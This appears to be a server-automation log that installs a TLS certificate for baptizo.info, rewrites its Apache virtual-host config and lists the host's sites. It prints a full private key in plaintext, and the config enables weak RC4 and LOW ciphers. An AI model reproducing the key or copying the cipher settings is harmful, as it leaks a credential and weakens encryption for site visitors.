cat > $temp_file <<'endmsg'
46:66:2d:85:15:44:e9:39:68:27:92:29:aa:1e:98:53

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBYODphEjC3M4VDmjmfOb0iK1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI0MDUwMjAzWhcNMjYwMTIyMDUwMjAyWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDk
THZYxJquHBKH7xee8nOU0qQWXLSdqARIdbVEa/vWBiHymaUNge6MU1KdIewFCCuh
VgxLk2Nb3rSklRV+6Q9rkMjxTOga2I2qgXOPxH3jKeHvebPKctZdHkzNaNxUMmzb
svUaHHk4F5/KCPXRhIAOYYJH6OzziUC3iIXvHarebyp4ZtZiYTL7utp6LtaMkAT1
warwzN2gxhpeVA0+D9W/HurmVElcqrpw26ZCBM3Y1sCrtwYwMNkzxjJpYK+J5DZ0
Gp1tKDsc6llxiTHzOmlkrTkDfbPaB8K068nszn4vIhqDJZJPtfwuFKCDXL1Sqv7o
IoeqU2uAzf4Pcrt3g1L3AgMBAAGjggIwMIICLDAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFK+koL6GmP6JQXQY66yZbYzA0tftMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMYmFwdGl6by5pbmZvghB3d3cuYmFw
dGl6by5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTQuY3JsMIIBBgYKKwYBBAHWeQIEAgSB
9wSB9ADyAHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaFM33
CgAABAMASDBGAiEA3HsGV/lyv/7AHCHjCq/w5Iptn3lIOqiSBlXkN87EvXYCIQCy
DlULLCx0JlBIGDY2WjRN6gjYXI1MelkoATHW+WnlxwB3AMs49xWJfIShRF9bwd37
yW7ymlnNRwppBYWwyxTDFFjnAAABmhTN9xkAAAQDAEgwRgIhAN2EjCsDoqkfzKRc
JVyUQPck/Zsyhhm0fJraW6WVl3nwAiEA68hz7KEdrlKPtTC2TVw5VesUGmxUpil1
s0x0w2BfdJYwDQYJKoZIhvcNAQELBQADggEBAHHEf2awENkmvEiuqMDyeC1EB/ZT
4wY/sBSUc8aIpzSnRfty7U54P5KNHsJBclywI9CQ/5WfwvvNWSIm2+WcC/fsouFg
RYNPuG/GqAfRtBhH1V1PNV7bOZhoG39b+PDv1lhROWSjnGXFdSG0OnOdF/3OcWhS
G9YBZVyW7KUusvLfe3fZRIvXCjqSVs6iR57SZdmosPwfjoyA0becmgaJpVD9Gi+n
NQWbrT0/YDiLHdprxUHLFcPGoVkLFF3BpJewODld162FLmoLXq/6IGLkmnE8MV/X
3gzI7fobsBwXRuuQjtbXU+cHOTZBNE2fst5nNNHgQnKA7Bge2S7S+9nQqxk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDkTHZYxJquHBKH
7xee8nOU0qQWXLSdqARIdbVEa/vWBiHymaUNge6MU1KdIewFCCuhVgxLk2Nb3rSk
lRV+6Q9rkMjxTOga2I2qgXOPxH3jKeHvebPKctZdHkzNaNxUMmzbsvUaHHk4F5/K
CPXRhIAOYYJH6OzziUC3iIXvHarebyp4ZtZiYTL7utp6LtaMkAT1warwzN2gxhpe
VA0+D9W/HurmVElcqrpw26ZCBM3Y1sCrtwYwMNkzxjJpYK+J5DZ0Gp1tKDsc6llx
iTHzOmlkrTkDfbPaB8K068nszn4vIhqDJZJPtfwuFKCDXL1Sqv7oIoeqU2uAzf4P
crt3g1L3AgMBAAECggEBAJI9vK2+Owt+5gv3h10FGC7kA8JjXjuDjkLQS+5pcae2
w/ZAn68YZTO0iD4ppaPPiQtPMI8U+de2wGaRLXTfXEZeN6oCxsezooPvapRUnQNw
J8+cWSQ9Db4Wk8IdAs5Ygsz1RPaV+LyKvYvQ046D3vfXVHo15dtXN4KZzJnQmkzj
GM0XUnryIe+K8/LtxqmFZnhM/T5Fe8u0AvwEFABfAGPqMxz+iisX1KZ2Xtid4uVV
YoqKx9jTjK/xVxJb0yJwi2HfoxauwZEVvX1xo6I9jv7Xt5T1bJ6M3nH2xNz+vBvL
6rxDAv/8mDyg7dNP7ln/wbcWGyLsfynzoPeJFFhEJlECgYEA/8fkuRl19SVvucIw
RvWuXrXS0k/jMi27QUWKsmsauUqimSsWiQnyh8wL4ly3ttgNELYOnXb/EGfB/yy0
LdgQZTY7H6lzgHgOzZ1pitLvY2tiMVSyQ1OiEorIzx3VVqHBsZR6wegy0UxqXqRL
yXiwT1zby3yqw1OI4wUe2wCUIG8CgYEA5H6KX6p+zTWFPRyZzmJ+QIsG6vOSofKT
ub8xw7szHGaQ/1WHW/PMURIt1L6a2S+0QO8Oz3Ph2UO+iup0h7Slim3gVtCLD1ib
O7S2Sop+nfbDoKQMy1rUhO5KItGianyZ0bzLE7U72y3oRWs+Cw4GZUcKcuxFsSgN
I4Jr2tiiKfkCgYBEdLdeYtYTGkXgrXxGQZK9fmRCLWddEqg/O+F3BvtMBBGodMO/
QY5LkezMVIxGv2QfyNn4gtSZC2v8Y3aFnoIk1HLWcn+bLoanuS16HiI7tY2+LjDX
nBaQZ9x+sjlaykgQwvBn3UFcitsdIVO3RDnLw8p/l4oMZNsKB2DOtETwuQKBgGnw
ydOFR3l54SbuhdmNDSB71V9GQ6xWvmuW3En2F8KJQ50/WJ0nsom8Nge3wDAG0Dpz
HJjPD94ebNAX2KO6/C3st+FIm9EnsgHCzepNwFsZOKbYqR34JSTlHvZ54CYjU2ZN
dJLUqsX6yQC2snOJsyluAMg8CCwVd9II/FzhqH5xAoGAQhGtgx8Dn1o7z4MsBplH
De6TTimj+jKe9jb3b+XHZPC7xdL47ag+19LN4ruEt1zLtC1nxFFxs5Ptn2iLX2ce
NFr4Mc2SqdCHW2q2oHhxjoEvJnOMKX9U9knaA/rFEBhHy6jpJVfC+1bkXniSWHiA
tCc7d3rd2xM/8ckLkqeR1Jw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-24 06:00:34: 

chmod 755 /tmp/pkp394021; /tmp/pkp394021; rm /tmp/pkp394021

2025-10-24 06:00:34: 


dir=/etc/ssl/certs


2025-10-24 06:00:34: 

PUT: /tmp/pkp141167

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/baptizo_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-24 06:00:34: 

chmod 755 /tmp/pkp141167; /tmp/pkp141167; rm /tmp/pkp141167

2025-10-24 06:00:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf 40

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-24 06:00:34: 

PUT: /tmp/pkp678160

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=baptizo_www_info.conf
TARGET=/etc/apache2/sites-enabled/baptizo_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/baptizo_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf= 1'
fi


2025-10-24 06:00:34: 

chmod 755 /tmp/pkp678160; /tmp/pkp678160; rm /tmp/pkp678160

2025-10-24 06:00:34: 




2025-10-24 06:00:34: 

PUT: /tmp/pkp419711

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-24 06:00:34: 

chmod 755 /tmp/pkp419711; /tmp/pkp419711; rm /tmp/pkp419711

2025-10-24 06:00:35: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-24 06:00:35: Establishing a connection
2025-10-24 06:00:35: 

PUT: /tmp/pkp559133

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-24 06:00:35: 

chmod 755 /tmp/pkp559133; /tmp/pkp559133; rm /tmp/pkp559133

2025-10-24 06:00:35: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-24 06:00:35: 

PUT: /tmp/pkp551218

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/baptizo_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:00:35: 

chmod 755 /tmp/pkp551218; /tmp/pkp551218; rm /tmp/pkp551218

2025-10-24 06:00:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf	1355

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-24 06:00:35: 

PUT: /tmp/pkp705376

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:00:35: 

chmod 755 /tmp/pkp705376; /tmp/pkp705376; rm /tmp/pkp705376

2025-10-24 06:00:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt	5368
46:66:2d:85:15:44:e9:39:68:27:92:29:aa:1e:98:53

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBYODphEjC3M4VDmjmfOb0iK1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI0MDUwMjAzWhcNMjYwMTIyMDUwMjAyWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDk
THZYxJquHBKH7xee8nOU0qQWXLSdqARIdbVEa/vWBiHymaUNge6MU1KdIewFCCuh
VgxLk2Nb3rSklRV+6Q9rkMjxTOga2I2qgXOPxH3jKeHvebPKctZdHkzNaNxUMmzb
svUaHHk4F5/KCPXRhIAOYYJH6OzziUC3iIXvHarebyp4ZtZiYTL7utp6LtaMkAT1
warwzN2gxhpeVA0+D9W/HurmVElcqrpw26ZCBM3Y1sCrtwYwMNkzxjJpYK+J5DZ0
Gp1tKDsc6llxiTHzOmlkrTkDfbPaB8K068nszn4vIhqDJZJPtfwuFKCDXL1Sqv7o
IoeqU2uAzf4Pcrt3g1L3AgMBAAGjggIwMIICLDAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFK+koL6GmP6JQXQY66yZbYzA0tftMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMYmFwdGl6by5pbmZvghB3d3cuYmFw
dGl6by5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTQuY3JsMIIBBgYKKwYBBAHWeQIEAgSB
9wSB9ADyAHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaFM33
CgAABAMASDBGAiEA3HsGV/lyv/7AHCHjCq/w5Iptn3lIOqiSBlXkN87EvXYCIQCy
